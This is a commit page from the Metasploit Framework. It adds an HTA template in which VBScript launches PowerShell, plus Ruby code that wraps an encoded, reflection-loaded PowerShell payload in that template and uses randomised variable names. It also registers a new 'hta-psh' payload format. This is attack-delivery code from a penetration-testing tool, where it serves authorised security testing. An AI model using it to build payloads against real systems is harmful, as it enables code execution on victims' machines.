Skip to content

Commit 25099dd

Browse files
committed
Land rapid7#5212, HTA Powershell template
2 parents 4c1558b + 3bc3614 commit 25099dd

File tree

2 files changed

+33
-0
lines changed

2 files changed

+33
-0
lines changed
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
<script language="VBScript">
2+
Set %{var_shell} = CreateObject("Wscript.Shell")
3+
Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
4+
If %{var_fso}.FileExists(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%") + "..\powershell.exe") Then
5+
%{var_shell}.Run "%{powershell}"
6+
End If
7+
</script>

lib/msf/util/exe.rb

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1117,6 +1117,29 @@ def self.to_powershell_command(framework, arch, code)
11171117
method: 'reflection')
11181118
end
11191119

1120+
def self.to_powershell_hta(framework, arch, code)
1121+
template_path = File.join(Msf::Config.data_directory,
1122+
"templates",
1123+
"scripts")
1124+
1125+
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1126+
arch,
1127+
template_path,
1128+
encode_final_payload: true,
1129+
remove_comspec: true,
1130+
method: 'reflection')
1131+
1132+
# Intialize rig and value names
1133+
rig = Rex::RandomIdentifierGenerator.new()
1134+
rig.init_var(:var_shell)
1135+
rig.init_var(:var_fso)
1136+
1137+
hash_sub = rig.to_h
1138+
hash_sub[:powershell] = powershell
1139+
1140+
read_replace_script_template("to_powershell.hta.template", hash_sub)
1141+
end
1142+
11201143
def self.to_win32pe_vbs(framework, code, opts = {})
11211144
to_exe_vbs(to_win32pe(framework, code, opts), opts)
11221145
end
@@ -1928,6 +1951,8 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
19281951
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
19291952
when 'psh-cmd'
19301953
Msf::Util::EXE.to_powershell_command(framework, arch, code)
1954+
when 'hta-psh'
1955+
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
19311956
end
19321957
end
19331958

@@ -1943,6 +1968,7 @@ def self.to_executable_fmt_formats
19431968
"exe-only",
19441969
"exe-service",
19451970
"exe-small",
1971+
"hta-psh",
19461972
"loop-vbs",
19471973
"macho",
19481974
"msi",

0 commit comments

Comments
 (0)